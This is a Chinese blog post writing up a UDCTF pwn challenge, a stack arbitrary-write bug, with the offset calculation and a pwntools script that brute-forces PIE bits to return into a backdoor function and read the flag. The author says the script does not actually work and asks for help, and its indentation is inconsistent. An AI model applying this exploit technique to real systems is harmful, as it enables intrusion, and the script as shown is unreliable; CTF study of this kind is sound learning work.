记录一道栈漏洞利用任意地址写

本题出自UDCTF
原题文件:
链接: https://pan.baidu.com/s/1utWjI0Z0LKkkGDD6-rq5Kw?pwd=1n4u 提取码: 1n4u

感谢大佬,这题一直不知道返回地址偏移,大佬一句话就给点醒了。所以,还是要多问。

静态分析

image
直接进vuln函数,题目已经给了提示,任意写
image

重要代码
image

代码分析:&v2[1]是基地址,v2为offset,v1为ret,即我们填入正确的偏移,和后们地址后,便会getshell
image

后门
image

如何计算偏移
image
image

var_70的大小为70,即rbp+rax*2+var_70 = rbp+8,一个简单的算数运算,即求出偏移为0x3c,60

exp

点击查看代码
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
for i in range(0xf):
    sleep(1)
    #p = remote('0.cloud.chals.io',16612)
	p = process([elf.path])

    p.sendafter(b'Write-What-Where:\n\n', b'60')

	#pie地址爆破

    num = i << 0xc
    pay = str(int(num + 0x33D))
    print(pay)
    print(type(pay))
    p.send(pay)

    try:
            p.sendline('cat flag')
            print(p.recv())
    except:
        pass
    p.close()
p.interactive()

问题
image

这里我通过,本地调试输入正确的偏移和地址可以拿到flag(本地flag),但是通过爆破脚本,却拿不到,包括远端getshell,如果有看到的大佬,请浇浇,本人会及时更改,防止误导感谢感谢

posted @ 2024-11-18 20:11  K4N0  阅读(54)  评论(0)    收藏  举报
//雪花飘落效果